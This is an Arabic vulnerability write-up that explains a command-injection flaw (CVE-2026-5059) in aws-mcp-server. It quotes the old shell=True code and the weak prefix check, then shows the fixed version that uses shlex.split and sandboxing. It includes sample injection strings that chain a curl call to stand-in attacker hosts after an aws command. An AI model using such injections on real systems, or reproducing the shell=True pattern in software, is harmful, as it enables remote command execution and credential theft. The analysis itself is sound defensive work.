
إثبات مفهوم يوضح حقن الأوامر في aws-mcp-server عبر shell=True، مع تحليل للكود القابل للاستغلال والإصلاح في الإصدار v1.7.0.
أين CVE-2026-5059 في الكود؟ الثغرة موجودة في ملفين يعملان معًا:
الملف 1: tools.py — السبب الجذري النسخة القديمة استخدمت shell=True في execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) عند استخدام shell=True، تقوم شل نظام التشغيل بتفسير السلسلة الكاملة بما في ذلك ; و && و || وعلامات الاقتباس الخلفية — لذا أي شيء بعد ; يعمل كأمر منفصل.
الملف 2: security.py — الحارس غير المكتمل المدقق تحقق فقط من أن الأمر يبدأ بـ aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe لذا aws s3 ls ; curl http://attacker.com اجتاز التحقق — يبدأ بـ aws — ثم نفّذ shell=True كلا الجزأين.
لماذا الإصدار الحالي (v1.7.0) مختلف بالنظر إلى الكود الفعلي اليوم، كلتا المشكلتين قد اختفتا: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation وتم حذف security.py بالكامل — واستُبدل بالعزل الرملي لنظام التشغيل (Landlock/bwrap/Seatbelt). أصبح ; الآن غير ضار: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess يستقبل ';' كوسيط حرفي لـ aws → يتجاهله AWS CLI، ولا يتم تنفيذ أي أمر ثانٍ
الملخص في سطر واحد الإصدار الضعيفالإصدار الحالي v1.7.0التنفيذshell=True + سلسلة نصيةshell=False + قائمةالتحققstartswith("aws") فقطعزل رملي على مستوى نظام التشغيل؛ معالجة؛يُنفَّذ بواسطة الشليُعامَل كنص حرفي تم تقديم CVE ضد النسخة القديمة. نشرته ZDI كثغرة يوم الصفر (0-day) لأن البائع رفض التقرير — لكن البنية المعمارية كانت قد انتقلت بالفعل بعيدًا عن shell=True قبل نشر CVE.